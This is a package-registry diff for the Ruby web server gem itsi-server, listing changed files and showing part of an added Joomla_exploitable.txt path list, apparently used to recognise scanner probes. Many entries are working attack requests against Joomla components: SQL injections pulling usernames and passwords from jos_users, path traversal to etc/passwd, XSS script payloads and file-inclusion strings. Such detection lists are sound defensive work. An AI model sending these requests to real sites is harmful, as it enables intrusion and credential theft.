itsi-server 0.1.19 → 0.1.20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (174) hide show
  1. checksums.yaml +4 -4
  2. data/Cargo.lock +950 -239
  3. data/README.md +2 -0
  4. data/exe/itsi +5 -5
  5. data/ext/itsi_acme/Cargo.toml +86 -0
  6. data/ext/itsi_acme/examples/high_level.rs +63 -0
  7. data/ext/itsi_acme/examples/high_level_warp.rs +52 -0
  8. data/ext/itsi_acme/examples/low_level.rs +87 -0
  9. data/ext/itsi_acme/examples/low_level_axum.rs +66 -0
  10. data/ext/itsi_acme/src/acceptor.rs +81 -0
  11. data/ext/itsi_acme/src/acme.rs +354 -0
  12. data/ext/itsi_acme/src/axum.rs +86 -0
  13. data/ext/itsi_acme/src/cache.rs +39 -0
  14. data/ext/itsi_acme/src/caches/boxed.rs +80 -0
  15. data/ext/itsi_acme/src/caches/composite.rs +69 -0
  16. data/ext/itsi_acme/src/caches/dir.rs +106 -0
  17. data/ext/itsi_acme/src/caches/mod.rs +11 -0
  18. data/ext/itsi_acme/src/caches/no.rs +78 -0
  19. data/ext/itsi_acme/src/caches/test.rs +136 -0
  20. data/ext/itsi_acme/src/config.rs +172 -0
  21. data/ext/itsi_acme/src/https_helper.rs +69 -0
  22. data/ext/itsi_acme/src/incoming.rs +142 -0
  23. data/ext/itsi_acme/src/jose.rs +161 -0
  24. data/ext/itsi_acme/src/lib.rs +142 -0
  25. data/ext/itsi_acme/src/resolver.rs +59 -0
  26. data/ext/itsi_acme/src/state.rs +424 -0
  27. data/ext/itsi_server/Cargo.toml +3 -3
  28. data/ext/itsi_server/src/ruby_types/itsi_http_request.rs +2 -2
  29. data/ext/itsi_server/src/ruby_types/itsi_server/itsi_server_config.rs +150 -19
  30. data/ext/itsi_server/src/ruby_types/itsi_server.rs +1 -0
  31. data/ext/itsi_server/src/server/binds/listener.rs +34 -29
  32. data/ext/itsi_server/src/server/binds/tls/locked_dir_cache.rs +2 -2
  33. data/ext/itsi_server/src/server/binds/tls.rs +1 -1
  34. data/ext/itsi_server/src/server/middleware_stack/middleware.rs +33 -28
  35. data/ext/itsi_server/src/server/middleware_stack/middlewares/auth_jwt.rs +56 -3
  36. data/ext/itsi_server/src/server/middleware_stack/middlewares/csp.rs +179 -0
  37. data/ext/itsi_server/src/server/middleware_stack/middlewares/mod.rs +25 -2
  38. data/ext/itsi_server/src/server/middleware_stack/middlewares/ruby_app.rs +3 -3
  39. data/ext/itsi_server/src/server/middleware_stack/middlewares/static_assets.rs +2 -1
  40. data/ext/itsi_server/src/server/middleware_stack/mod.rs +32 -34
  41. data/ext/itsi_server/src/server/serve_strategy/cluster_mode.rs +10 -4
  42. data/ext/itsi_server/src/server/serve_strategy/single_mode.rs +30 -7
  43. data/ext/itsi_server/src/server/thread_worker.rs +2 -2
  44. data/ext/itsi_server/src/services/static_file_server.rs +30 -28
  45. data/ext/itsi_tracing/src/lib.rs +39 -8
  46. data/lib/itsi/server/config/config_helpers.rb +93 -0
  47. data/lib/itsi/server/config/dsl.rb +81 -33
  48. data/lib/itsi/server/config/known_paths/KitchensinkDirectories.txt +2346 -0
  49. data/lib/itsi/server/config/known_paths/Randomfiles.txt +24 -0
  50. data/lib/itsi/server/config/known_paths/UnixDotfiles.txt +52 -0
  51. data/lib/itsi/server/config/known_paths/backdoors/ASP_CommonBackdoors.txt +29 -0
  52. data/lib/itsi/server/config/known_paths/backdoors/bot_control_panels.txt +1668 -0
  53. data/lib/itsi/server/config/known_paths/backdoors/shells.txt +1167 -0
  54. data/lib/itsi/server/config/known_paths/cgi/CGI_HTTP_POST.txt +7 -0
  55. data/lib/itsi/server/config/known_paths/cgi/CGI_HTTP_POST_Windows.txt +6 -0
  56. data/lib/itsi/server/config/known_paths/cgi/CGI_Microsoft.txt +79 -0
  57. data/lib/itsi/server/config/known_paths/cgi/CGI_XPlatform.txt +3948 -0
  58. data/lib/itsi/server/config/known_paths/cms/README.md +5 -0
  59. data/lib/itsi/server/config/known_paths/cms/drupal_plugins.txt +6320 -0
  60. data/lib/itsi/server/config/known_paths/cms/drupal_themes.txt +828 -0
  61. data/lib/itsi/server/config/known_paths/cms/joomla_plugins.txt +224 -0
  62. data/lib/itsi/server/config/known_paths/cms/joomla_themes.txt +30 -0
  63. data/lib/itsi/server/config/known_paths/cms/php-nuke.txt +2142 -0
  64. data/lib/itsi/server/config/known_paths/cms/wordpress.txt +1566 -0
  65. data/lib/itsi/server/config/known_paths/cms/wp_common_theme_files.txt +46 -0
  66. data/lib/itsi/server/config/known_paths/cms/wp_plugins.txt +13366 -0
  67. data/lib/itsi/server/config/known_paths/cms/wp_plugins_full.txt +68662 -0
  68. data/lib/itsi/server/config/known_paths/cms/wp_plugins_top225.txt +225 -0
  69. data/lib/itsi/server/config/known_paths/cms/wp_themes.readme +12 -0
  70. data/lib/itsi/server/config/known_paths/cms/wp_themes.txt +7336 -0
  71. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/3CharExtBrute.txt +17576 -0
  72. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/CommonWebExtensions.txt +80 -0
  73. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Backup.txt +14 -0
  74. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Common.txt +865 -0
  75. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Compressed.txt +186 -0
  76. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Mostcommon.txt +30 -0
  77. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Skipfish.txt +93 -0
  78. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/WordlistSkipfish.txt +1918 -0
  79. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/copy_of.txt +8 -0
  80. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-directories-lowercase.txt +56180 -0
  81. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-directories.txt +62290 -0
  82. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-extensions-lowercase.txt +2367 -0
  83. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-extensions.txt +2450 -0
  84. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-files-lowercase.txt +35323 -0
  85. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-files.txt +37037 -0
  86. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-words-lowercase.txt +107982 -0
  87. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-words.txt +119600 -0
  88. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-directories-lowercase.txt +26593 -0
  89. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-directories.txt +30009 -0
  90. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-extensions-lowercase.txt +1233 -0
  91. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-extensions.txt +1289 -0
  92. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-files-lowercase.txt +16243 -0
  93. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-files.txt +17128 -0
  94. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-words-lowercase.txt +56293 -0
  95. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-words.txt +63087 -0
  96. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-directories-lowercase.txt +17776 -0
  97. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-directories.txt +20122 -0
  98. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-extensions-lowercase.txt +914 -0
  99. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-extensions.txt +963 -0
  100. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-files-lowercase.txt +10848 -0
  101. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-files.txt +11424 -0
  102. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-words-lowercase.txt +38267 -0
  103. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-words.txt +43003 -0
  104. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/spanish.txt +445 -0
  105. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/test_demo.txt +36 -0
  106. data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/upload_variants.txt +44 -0
  107. data/lib/itsi/server/config/known_paths/login-file-locations/Logins.txt +71 -0
  108. data/lib/itsi/server/config/known_paths/login-file-locations/cfm.txt +294 -0
  109. data/lib/itsi/server/config/known_paths/login-file-locations/html.txt +295 -0
  110. data/lib/itsi/server/config/known_paths/login-file-locations/jsp.txt +294 -0
  111. data/lib/itsi/server/config/known_paths/login-file-locations/php.txt +294 -0
  112. data/lib/itsi/server/config/known_paths/login-file-locations/windows-asp.txt +294 -0
  113. data/lib/itsi/server/config/known_paths/login-file-locations/windows-aspx.txt +294 -0
  114. data/lib/itsi/server/config/known_paths/password-file-locations/Passwords.txt +47 -0
  115. data/lib/itsi/server/config/known_paths/php/PHP.txt +30 -0
  116. data/lib/itsi/server/config/known_paths/php/PHP_CommonBackdoors.txt +5 -0
  117. data/lib/itsi/server/config/known_paths/proxy-conf.txt +31 -0
  118. data/lib/itsi/server/config/known_paths/tftp.txt +79 -0
  119. data/lib/itsi/server/config/known_paths/webservers-appservers/ADFS.txt +86 -0
  120. data/lib/itsi/server/config/known_paths/webservers-appservers/AdobeXML.txt +16 -0
  121. data/lib/itsi/server/config/known_paths/webservers-appservers/Apache.txt +101 -0
  122. data/lib/itsi/server/config/known_paths/webservers-appservers/ApacheTomcat.txt +47 -0
  123. data/lib/itsi/server/config/known_paths/webservers-appservers/Apache_Axis.txt +16 -0
  124. data/lib/itsi/server/config/known_paths/webservers-appservers/ColdFusion.txt +111 -0
  125. data/lib/itsi/server/config/known_paths/webservers-appservers/FatwireCMS.txt +390 -0
  126. data/lib/itsi/server/config/known_paths/webservers-appservers/Frontpage.txt +38 -0
  127. data/lib/itsi/server/config/known_paths/webservers-appservers/HP_System_Mgmt_Homepage.txt +239 -0
  128. data/lib/itsi/server/config/known_paths/webservers-appservers/HTTP_POST_Microsoft.txt +2 -0
  129. data/lib/itsi/server/config/known_paths/webservers-appservers/Hyperion.txt +578 -0
  130. data/lib/itsi/server/config/known_paths/webservers-appservers/IIS.txt +187 -0
  131. data/lib/itsi/server/config/known_paths/webservers-appservers/JBoss.txt +5 -0
  132. data/lib/itsi/server/config/known_paths/webservers-appservers/JRun.txt +13 -0
  133. data/lib/itsi/server/config/known_paths/webservers-appservers/JavaServlets_Common.txt +3 -0
  134. data/lib/itsi/server/config/known_paths/webservers-appservers/Joomla_exploitable.txt +1937 -0
  135. data/lib/itsi/server/config/known_paths/webservers-appservers/LotusNotes.txt +206 -0
  136. data/lib/itsi/server/config/known_paths/webservers-appservers/Netware.txt +18 -0
  137. data/lib/itsi/server/config/known_paths/webservers-appservers/Oracle9i.txt +60 -0
  138. data/lib/itsi/server/config/known_paths/webservers-appservers/OracleAppServer.txt +192 -0
  139. data/lib/itsi/server/config/known_paths/webservers-appservers/README.md +6 -0
  140. data/lib/itsi/server/config/known_paths/webservers-appservers/Ruby_Rails.txt +121 -0
  141. data/lib/itsi/server/config/known_paths/webservers-appservers/SAP.txt +463 -0
  142. data/lib/itsi/server/config/known_paths/webservers-appservers/Sharepoint.txt +1707 -0
  143. data/lib/itsi/server/config/known_paths/webservers-appservers/SiteMinder.txt +19 -0
  144. data/lib/itsi/server/config/known_paths/webservers-appservers/SunAppServerGlassfish.txt +51 -0
  145. data/lib/itsi/server/config/known_paths/webservers-appservers/SuniPlanet.txt +35 -0
  146. data/lib/itsi/server/config/known_paths/webservers-appservers/Vignette.txt +73 -0
  147. data/lib/itsi/server/config/known_paths/webservers-appservers/Weblogic.txt +160 -0
  148. data/lib/itsi/server/config/known_paths/webservers-appservers/Websphere.txt +366 -0
  149. data/lib/itsi/server/config/known_paths/wellknown-rfc5785.txt +30 -0
  150. data/lib/itsi/server/config/known_paths.rb +17 -0
  151. data/lib/itsi/server/config/middleware/_index.md +54 -0
  152. data/lib/itsi/server/config/middleware/log_requests.md +63 -0
  153. data/lib/itsi/server/config/middleware/log_requests.rb +33 -0
  154. data/lib/itsi/server/config/middleware.rb +9 -0
  155. data/lib/itsi/server/config/option.rb +9 -0
  156. data/lib/itsi/server/config/options/_index.md +36 -0
  157. data/lib/itsi/server/config/options/fiber_scheduler.md +35 -0
  158. data/lib/itsi/server/config/options/fiber_scheduler.rb +18 -0
  159. data/lib/itsi/server/config/options/threads.md +39 -0
  160. data/lib/itsi/server/config/options/threads.rb +17 -0
  161. data/lib/itsi/server/config/options/workers.md +43 -0
  162. data/lib/itsi/server/config/options/workers.rb +17 -0
  163. data/lib/itsi/server/config/typed_struct.rb +203 -0
  164. data/lib/itsi/server/config.rb +124 -30
  165. data/lib/itsi/server/signal_trap.rb +5 -1
  166. data/lib/itsi/server/typed_handlers/source_parser.rb +1 -1
  167. data/lib/itsi/server/version.rb +1 -1
  168. data/lib/itsi/server.rb +27 -6
  169. data/lib/ruby_lsp/itsi/addon.rb +64 -48
  170. metadata +141 -5
  171. data/CHANGELOG.md +0 -10
  172. data/CODE_OF_CONDUCT.md +0 -139
  173. data/LICENSE.txt +0 -21
  174. data/_index.md +0 -6
@@ -0,0 +1,1937 @@
1
+ &controller=../../../../../../../../../../../../[LFI]%00
2
+ ?1.5.10-x
3
+ ?1.5.11-x-http_ref
4
+ ?1.5.11-x-php-s3lf
5
+ ?1.5.3-path-disclose
6
+ ?1.5.3-spam
7
+ ?1.5.8-x
8
+ ?1.5.9-x
9
+ ?j1012-fixate-session
10
+ ?option=com_mysms&Itemid=0&task=phonebook
11
+ Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png
12
+ admin/
13
+ administrator/
14
+ administrator/components/
15
+ administrator/components/com_a6mambocredits/
16
+ administrator/components/com_a6mambohelpdesk/
17
+ administrator/components/com_admin/admin.admin.html.php
18
+ administrator/components/com_astatspro/refer.php
19
+ administrator/components/com_bayesiannaivefilter/
20
+ administrator/components/com_chronocontact/excelwriter/PPS/File.php
21
+ administrator/components/com_colophon/
22
+ administrator/components/com_colorlab/
23
+ administrator/components/com_comprofiler/
24
+ administrator/components/com_comprofiler/plugin.class.php
25
+ administrator/components/com_cropimage/admin.cropcanvas.php
26
+ administrator/components/com_extplorer/
27
+ administrator/components/com_feederator/includes/tmsp/add_tmsp.php
28
+ administrator/components/com_googlebase/
29
+ administrator/components/com_installer
30
+ administrator/components/com_jcs/
31
+ administrator/components/com_jim/
32
+ administrator/components/com_jjgallery/
33
+ administrator/components/com_joom12pic/
34
+ administrator/components/com_joomla-visites/
35
+ administrator/components/com_joomla_flash_uploader/
36
+ administrator/components/com_joomlaflashfun/
37
+ administrator/components/com_joomlaradiov5/
38
+ administrator/components/com_jpack/
39
+ administrator/components/com_jreactions/
40
+ administrator/components/com_juser/
41
+ administrator/components/com_admin/
42
+ administrator/components/com_kochsuite /
43
+ administrator/components/com_linkdirectory/
44
+ administrator/components/com_livechat/getSavedChatRooms.php
45
+ administrator/components/com_livechat/xmlhttp.php
46
+ administrator/components/com_lurm_constructor/admin.lurm_constructor.php
47
+ administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php");
48
+ administrator/components/com_mambelfish/
49
+ administrator/components/com_mgm/
50
+ administrator/components/com_mmp/help.mmp.php
51
+ administrator/components/com_mosmedia/
52
+ administrator/components/com_multibanners/extadminmenus.class.php
53
+ administrator/components/com_panoramic/
54
+ administrator/components/com_peoplebook/param.peoplebook.php
55
+ administrator/components/com_phpshop/toolbar.phpshop.html.php
56
+ administrator/components/com_remository/admin.remository.php
57
+ administrator/components/com_serverstat/install.serverstat.php
58
+ administrator/components/com_simpleswfupload/uploadhandler.php");
59
+ administrator/components/com_swmenupro/
60
+ administrator/components/com_treeg/
61
+ administrator/components/com_uhp/
62
+ administrator/components/com_uhp2/
63
+ administrator/components/com_webring/
64
+ administrator/components/com_wmtgallery/
65
+ administrator/components/com_wmtportfolio/
66
+ administrator/components/com_x-shop/
67
+ administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
68
+ administrator/index.php?option=com_searchlog&act=log
69
+ ajaxim/
70
+ akocomments.php
71
+ cart?Itemid=[SQLi]
72
+ component/com__brightweblinks/
73
+ component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0
74
+ component/osproperty/?task=agent_register
75
+ component/quran/index.php?option=com_quran&action=viewayat&surano=
76
+ components/com_ clickheat/
77
+ components/com_5starhotels/
78
+ components/com_Jambook/jambook.php
79
+ components/com_a6mambocredits/
80
+ components/com_a6mambohelpdesk/
81
+ components/com_ab_gallery/
82
+ components/com_acajoom/
83
+ components/com_acctexp/
84
+ components/com_aclassf/
85
+ components/com_activities/
86
+ components/com_actualite/
87
+ components/com_admin/admin.admin.html.php
88
+ components/com_advancedpoll/
89
+ components/com_agora/
90
+ components/com_agoragroup/
91
+ components/com_ajaxchat/
92
+ components/com_akobook/
93
+ components/com_akocomment/
94
+ components/com_akogallery
95
+ components/com_alberghi/
96
+ components/com_allhotels/
97
+ components/com_alphacontent/
98
+ components/com_altas/
99
+ components/com_amocourse/
100
+ components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php
101
+ components/com_articles/
102
+ components/com_artist/
103
+ components/com_artlinks/
104
+ components/com_asortyment/
105
+ components/com_astatspro/
106
+ components/com_awesom/
107
+ components/com_babackup/
108
+ components/com_banners/
109
+ components/com_bayesiannaivefilter/
110
+ components/com_be_it_easypartner/
111
+ components/com_beamospetition/
112
+ components/com_biblestudy/
113
+ components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
114
+ components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
115
+ components/com_blog/
116
+ components/com_bookflip/
117
+ components/com_bookjoomlas/
118
+ components/com_booklibrary/
119
+ components/com_books/
120
+ components/com_bsadv/
121
+ components/com_bsq_sitestats/
122
+ components/com_bsq_sitestats/external/rssfeed.php
123
+ components/com_bsqsitestats/
124
+ components/com_calendar/
125
+ components/com_camelcitydb2/
126
+ components/com_candle/
127
+ components/com_casino_blackjack/
128
+ components/com_casino_videopoker/
129
+ components/com_casinobase/
130
+ components/com_catalogproduction/
131
+ components/com_catalogshop/
132
+ components/com_category/
133
+ components/com_cgtestimonial/video.php?url="><script>alert('xss');</script>
134
+ components/com_chronocontact/excelwriter/PPS/File.php
135
+ components/com_cinema/
136
+ components/com_clasifier/
137
+ components/com_classifieds/
138
+ components/com_clickheat/
139
+ components/com_cloner/
140
+ components/com_cmimarketplace/
141
+ components/com_cms/
142
+ components/com_colophon/
143
+ components/com_colorlab/
144
+ components/com_competitions/
145
+ components/com_comprofiler/
146
+ components/com_comprofiler/plugin.class.php
147
+ components/com_contactinfo/
148
+ components/com_content/
149
+ components/com_cpg/cpg.php
150
+ components/com_cropimage/admin.cropcanvas.php
151
+ components/com_custompages/
152
+ components/com_cx/
153
+ components/com_d3000/
154
+ components/com_dadamail/
155
+ components/com_dailymessage/
156
+ components/com_datsogallery/
157
+ components/com_dbquery/
158
+ components/com_detail/
159
+ components/com_digistore/
160
+ components/com_directory/
161
+ components/com_djiceshoutbox/
162
+ components/com_doc/
163
+ components/com_downloads/
164
+ components/com_ds-syndicate/
165
+ components/com_dtregister/
166
+ components/com_dv/externals/phpupload/upload.php");
167
+ components/com_easybook/
168
+ components/com_emcomposer/
169
+ components/com_equotes/
170
+ components/com_estateagent/
171
+ components/com_eventing/
172
+ components/com_eventlist/
173
+ components/com_events/
174
+ components/com_ewriting/
175
+ components/com_expose/uploadimg.php
176
+ components/com_expshop/
177
+ components/com_extcalendar/
178
+ components/com_extcalendar/cal_popup.php?extmode=view&extid=
179
+ components/com_extcalendar/extcalendar.php
180
+ components/com_extended_registration/registration_detailed.inc.php
181
+ components/com_extplorer/
182
+ components/com_ezine/
183
+ components/com_ezstore/
184
+ components/com_facileforms/
185
+ components/com_fantasytournament/
186
+ components/com_faq/
187
+ components/com_feederator/includes/tmsp/add_tmsp.php
188
+ components/com_filebase/
189
+ components/com_filiale/
190
+ components/com_flashfun/
191
+ components/com_flashmagazinedeluxe/
192
+ components/com_flippingbook/
193
+ components/com_flyspray/startdown.php
194
+ components/com_fm/fm.install.php
195
+ components/com_foevpartners/
196
+ components/com_football/
197
+ components/com_formtool/
198
+ components/com_forum/
199
+ components/com_fq/
200
+ components/com_fundraiser/
201
+ components/com_galeria/
202
+ components/com_galleria/galleria.html.php
203
+ components/com_gallery/
204
+ components/com_game/
205
+ components/com_gameq/
206
+ components/com_garyscookbook/
207
+ components/com_genealogy/
208
+ components/com_geoboerse/
209
+ components/com_gigcal/
210
+ components/com_gmaps/
211
+ components/com_googlebase/
212
+ components/com_gsticketsystem/
213
+ components/com_guide/
214
+ components/com_hashcash/server.php
215
+ components/com_hbssearch/
216
+ components/com_hello_world/
217
+ components/com_hotproperties/
218
+ components/com_hotproperty/
219
+ components/com_hotspots/
220
+ components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php
221
+ components/com_hwdvideoshare/
222
+ components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1");
223
+ components/com_ice/
224
+ components/com_idoblog/
225
+ components/com_idvnews/
226
+ components/com_ignitegallery/
227
+ components/com_ijoomla_archive/
228
+ components/com_ijoomla_rss/
229
+ components/com_inter/
230
+ components/com_ionfiles/
231
+ components/com_is/
232
+ components/com_ixxocart/
233
+ components/com_jabode/
234
+ components/com_jashowcase/
235
+ components/com_jb2/
236
+ components/com_jce/
237
+ components/com_jcs/
238
+ components/com_jd-wiki/
239
+ components/com_jd-wp/
240
+ components/com_jim/
241
+ components/com_jjgallery/
242
+ components/com_jmovies/
243
+ components/com_jobline/
244
+ components/com_jombib/
245
+ components/com_joobb/
246
+ components/com_jooget/
247
+ components/com_joom12pic/
248
+ components/com_joomla-visites/
249
+ components/com_joomla_flash_uploader/
250
+ components/com_joomlaboard/
251
+ components/com_joomladate/
252
+ components/com_joomlaflashfun/
253
+ components/com_joomlalib/
254
+ components/com_joomlaradiov5/
255
+ components/com_joomlavvz/
256
+ components/com_joomlaxplorer/
257
+ components/com_joomloads/
258
+ components/com_joomradio/
259
+ components/com_joomtracker/
260
+ components/com_joovideo/
261
+ components/com_jotloader/
262
+ components/com_journal/
263
+ components/com_jpack/
264
+ components/com_jpad/
265
+ components/com_jreactions/
266
+ components/com_jreviews/scripts/xajax.inc.php
267
+ components/com_jumi/
268
+ components/com_juser/
269
+ components/com_jvideo/
270
+ components/com_k2/
271
+ components/com_kbase/
272
+ components/com_knowledgebase/fckeditor/fckeditor.js
273
+ components/com_kochsuite /
274
+ components/com_kunena/
275
+ components/com_letterman/
276
+ components/com_lexikon/
277
+ components/com_linkdirectory/
278
+ components/com_listoffreeads/
279
+ components/com_livechat/getSavedChatRooms.php
280
+ components/com_livechat/xmlhttp.php
281
+ components/com_liveticker/
282
+ components/com_lm/
283
+ components/com_lmo/
284
+ components/com_loudmounth/includes/abbc/abbc.class.php
285
+ components/com_loudmouth/
286
+ components/com_lowcosthotels/
287
+ components/com_lurm_constructor/admin.lurm_constructor.php
288
+ components/com_mad4joomla/
289
+ components/com_madeira/img.php
290
+ components/com_maianmusic/
291
+ components/com_mailarchive/
292
+ components/com_mailto/
293
+ components/com_mambatstaff/mambatstaff.php
294
+ components/com_mambelfish/
295
+ components/com_mambospgm/
296
+ components/com_mambowiki/MamboLogin.php
297
+ components/com_marketplace/
298
+ components/com_mcquiz/
299
+ components/com_mdigg/
300
+ components/com_media_library/
301
+ components/com_mediaslide/
302
+ components/com_mezun/
303
+ components/com_mgm/
304
+ components/com_minibb/
305
+ components/com_misterestate/
306
+ components/com_mmp/help.mmp.php
307
+ components/com_model/
308
+ components/com_moodle/moodle.php
309
+ components/com_moofaq/
310
+ components/com_mosmedia/
311
+ components/com_mospray/scripts/admin.php
312
+ components/com_mosres/
313
+ components/com_most/
314
+ components/com_mp3_allopass/
315
+ components/com_mtree/
316
+ components/com_mtree/img/listings/o/{id}.php
317
+ components/com_multibanners/extadminmenus.class.php
318
+ components/com_myalbum/
319
+ components/com_mycontent/
320
+ components/com_mydyngallery/
321
+ components/com_mygallery/
322
+ components/com_n-forms/
323
+ components/com_na_content/
324
+ components/com_na_mydocs/
325
+ components/com_na_newsdescription/
326
+ components/com_na_qforms/
327
+ components/com_neogallery/
328
+ components/com_neorecruit/
329
+ components/com_neoreferences/
330
+ components/com_netinvoice/
331
+ components/com_news/
332
+ components/com_news_portal/
333
+ components/com_newsflash/
334
+ components/com_nfn_addressbook/
335
+ components/com_nicetalk/
336
+ components/com_noticias/
337
+ components/com_omnirealestate/
338
+ components/com_omphotogallery/
339
+ components/com_ongumatimesheet20/
340
+ components/com_onlineflashquiz/
341
+ components/com_ownbiblio/
342
+ components/com_panoramic/
343
+ components/com_paxgallery/
344
+ components/com_paxxgallery/
345
+ components/com_pcchess/
346
+ components/com_pcchess/include.pcchess.php
347
+ components/com_pccookbook/
348
+ components/com_pccookbook/pccookbook.php
349
+ components/com_peoplebook/param.peoplebook.php
350
+ components/com_performs/
351
+ components/com_philaform/
352
+ components/com_phocadocumentation/
353
+ components/com_php/
354
+ components/com_phpshop/toolbar.phpshop.html.php
355
+ components/com_pinboard/
356
+ components/com_pms/
357
+ components/com_poll/
358
+ components/com_pollxt/
359
+ components/com_ponygallery/
360
+ components/com_portafolio/
361
+ components/com_portfol/
362
+ components/com_prayercenter/
363
+ components/com_pro_desk/
364
+ components/com_prod/
365
+ components/com_productshowcase/
366
+ components/com_profiler/
367
+ components/com_projectfork/
368
+ components/com_propertylab/
369
+ components/com_puarcade/
370
+ components/com_publication/
371
+ components/com_quiz/
372
+ components/com_rapidrecipe/
373
+ components/com_rdautos/
374
+ components/com_realestatemanager/
375
+ components/com_recly/
376
+ components/com_referenzen/
377
+ components/com_rekry/
378
+ components/com_remository/admin.remository.php
379
+ components/com_remository_files/file_image_14/1276100016shell.php
380
+ components/com_reporter/processor/reporter.sql.php
381
+ components/com_resman/
382
+ components/com_restaurante/
383
+ components/com_ricette/
384
+ components/com_rsfiles/
385
+ components/com_rsgallery/
386
+ components/com_rsgallery2/
387
+ components/com_rss/
388
+ components/com_rssreader/
389
+ components/com_rssxt/
390
+ components/com_rwcards/
391
+ components/com_school/
392
+ components/com_search/
393
+ components/com_sebercart/getPic.php?p=[LFD]%00
394
+ components/com_securityimages/
395
+ components/com_sef/
396
+ components/com_seminar/
397
+ components/com_serverstat/install.serverstat.php
398
+ components/com_sg/
399
+ components/com_simple_review/
400
+ components/com_simpleboard/
401
+ components/com_simplefaq/
402
+ components/com_simpleshop/
403
+ components/com_sitemap/sitemap.xml.php
404
+ components/com_slideshow/
405
+ components/com_smf/
406
+ components/com_smf/smf.php
407
+ components/com_swmenupro/
408
+ components/com_team/
409
+ components/com_tech_article/
410
+ components/com_thopper/
411
+ components/com_thyme/
412
+ components/com_tickets/
413
+ components/com_tophotelmodule/
414
+ components/com_tour_toto/
415
+ components/com_trade/
416
+ components/com_uhp/
417
+ components/com_uhp2/
418
+ components/com_user/controller.php
419
+ components/com_users/
420
+ components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php
421
+ components/com_vehiclemanager/
422
+ components/com_versioning /
423
+ components/com_videodb/core/videodb.class.xml.php
424
+ components/com_virtuemart/
425
+ components/com_volunteer/
426
+ components/com_vr/
427
+ components/com_waticketsystem/
428
+ components/com_webhosting/
429
+ components/com_weblinks/
430
+ components/com_webring/
431
+ components/com_wmtgallery/
432
+ components/com_wmtportfolio/
433
+ components/com_x-shop/
434
+ components/com_xevidmegahd/
435
+ components/com_xewebtv/
436
+ components/com_xfaq/
437
+ components/com_xgallery/helpers/img.php?file=
438
+ components/com_xsstream-dm/
439
+ components/com_ynews/
440
+ components/com_yvcomment/
441
+ components/com_zoom/classes/
442
+ components/mod_letterman/
443
+ components/remository/
444
+ eXtplorer/
445
+ easyblog/entry/uncategorized
446
+ extplorer/
447
+ components/com_mtree/img/listings/o/{id}.php where {id}
448
+ includes/joomla.php
449
+ index.php/404'
450
+ index.php/?option=com_question&catID=21' and+1=0 union all
451
+ index.php/image-gallery/"><script>alert('xss')</script>/25-koala
452
+ index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&amp;type=css&v=1
453
+ index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view
454
+ index.php?option=com_aardvertiser&cat_name=conf&task=<=
455
+ index.php?option=com_aardvertiser&task=
456
+ index.php?option=com_abc&view=abc&letter=AS&sectionid='
457
+ index.php?option=com_advert&id=36'
458
+ index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--
459
+ index.php?option=com_alfurqan15x&action=viewayat&surano=
460
+ index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
461
+ index.php?option=com_annonces&view=edit&Itemid=1
462
